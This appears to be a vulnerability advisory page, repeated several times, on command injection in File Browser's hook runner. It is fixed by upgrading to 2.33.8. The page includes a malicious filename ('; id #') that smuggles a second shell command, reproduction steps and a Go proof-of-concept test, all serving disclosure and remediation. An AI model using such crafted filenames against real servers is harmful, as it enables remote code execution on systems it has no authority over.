> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**. ## Affected Location - **File:** `runner/runner.go` - **Function:** `Runner.exec` ## Technical Details `Runner.exec` expands template variables inside hook command strings using `os.Expand`: ```go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. } ``` The expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as: ``` sh -c "echo created $FILE" ``` ...and an attacker creates a file named `; id #`, the variable expansion produces: ``` sh -c "echo created /path/to/; id #" ``` The `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors. This pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc. ## Attack Scenario / Reproduction Steps 1. Admin configures an `after_upload` hook: `sh -c "echo created $FILE"`. 2. The attacker (authenticated user with upload permission) uploads a file named `; id #`. 3. The upload succeeds and the hook fires automatically. 4. The server executes: ```sh sh -c "echo created /uploads/; id #" ``` 5. The `id` command runs, confirming RCE. ## Impact Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly. ## Proof of Concept ```go package runner import ( "os" "testing" "github.com/filebrowser/filebrowser/v2/settings" ) func TestPoC_FileHookInjection(t *testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "after_upload": {"echo Uploaded $FILE"}, }, }, } // Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #" // Simulate the exec logic in runner/runner.go raw := r.Commands["after_upload"][0] command, _, _ := ParseCommand(r.Settings, raw) envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) } for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) } // The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) } t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) } ```
> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**. ## Affected Location - **File:** `runner/runner.go` - **Function:** `Runner.exec` ## Technical Details `Runner.exec` expands template variables inside hook command strings using `os.Expand`: ```go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. } ``` The expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as: ``` sh -c "echo created $FILE" ``` ...and an attacker creates a file named `; id #`, the variable expansion produces: ``` sh -c "echo created /path/to/; id #" ``` The `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors. This pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc. ## Attack Scenario / Reproduction Steps 1. Admin configures an `after_upload` hook: `sh -c "echo created $FILE"`. 2. The attacker (authenticated user with upload permission) uploads a file named `; id #`. 3. The upload succeeds and the hook fires automatically. 4. The server executes: ```sh sh -c "echo created /uploads/; id #" ``` 5. The `id` command runs, confirming RCE. ## Impact Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly. ## Proof of Concept ```go package runner import ( "os" "testing" "github.com/filebrowser/filebrowser/v2/settings" ) func TestPoC_FileHookInjection(t *testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "after_upload": {"echo Uploaded $FILE"}, }, }, } // Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #" // Simulate the exec logic in runner/runner.go raw := r.Commands["after_upload"][0] command, _, _ := ParseCommand(r.Settings, raw) envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) } for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) } // The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) } t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) } ```
Update github.com/filebrowser/filebrowser/v2 to 2.33.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanFile Browser has a Command Injection via Hook Runner affects github.com/filebrowser/filebrowser/v2 (go). Severity is high. > [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**. ## Affected Location - **File:** `runner/runner.go` - **Function:** `Runner.exec` ## Technical Details `Runner.exec` expands template variables inside hook command strings using `os.Expand`: ```go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. } ``` The expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as: ``` sh -c "echo created $FILE" ``` ...and an attacker creates a file named `; id #`, the variable expansion produces: ``` sh -c "echo created /path/to/; id #" ``` The `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors. This pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc. ## Attack Scenario / Reproduction Steps 1. Admin configures an `after_upload` hook: `sh -c "echo created $FILE"`. 2. The attacker (authenticated user with upload permission) uploads a file named `; id #`. 3. The upload succeeds and the hook fires automatically. 4. The server executes: ```sh sh -c "echo created /uploads/; id #" ``` 5. The `id` command runs, confirming RCE. ## Impact Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly. ## Proof of Concept ```go package runner import ( "os" "testing" "github.com/filebrowser/filebrowser/v2/settings" ) func TestPoC_FileHookInjection(t *testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "after_upload": {"echo Uploaded $FILE"}, }, }, } // Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #" // Simulate the exec logic in runner/runner.go raw := r.Commands["after_upload"][0] command, _, _ := ParseCommand(r.Settings, raw) envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) } for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) } // The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) } t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) } ```
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/filebrowser/filebrowser/v2go | <2.33.8 | 2.33.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/filebrowser/filebrowser/v2 to 2.33.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanFile Browser has a Command Injection via Hook Runner affects github.com/filebrowser/filebrowser/v2 (go). Severity is high. > [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**. ## Affected Location - **File:** `runner/runner.go` - **Function:** `Runner.exec` ## Technical Details `Runner.exec` expands template variables inside hook command strings using `os.Expand`: ```go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. } ``` The expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as: ``` sh -c "echo created $FILE" ``` ...and an attacker creates a file named `; id #`, the variable expansion produces: ``` sh -c "echo created /path/to/; id #" ``` The `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors. This pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc. ## Attack Scenario / Reproduction Steps 1. Admin configures an `after_upload` hook: `sh -c "echo created $FILE"`. 2. The attacker (authenticated user with upload permission) uploads a file named `; id #`. 3. The upload succeeds and the hook fires automatically. 4. The server executes: ```sh sh -c "echo created /uploads/; id #" ``` 5. The `id` command runs, confirming RCE. ## Impact Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly. ## Proof of Concept ```go package runner import ( "os" "testing" "github.com/filebrowser/filebrowser/v2/settings" ) func TestPoC_FileHookInjection(t *testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "after_upload": {"echo Uploaded $FILE"}, }, }, } // Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #" // Simulate the exec logic in runner/runner.go raw := r.Commands["after_upload"][0] command, _, _ := ParseCommand(r.Settings, raw) envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) } for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) } // The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) } t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) } ```
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/filebrowser/filebrowser/v2go | <2.33.8 | 2.33.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard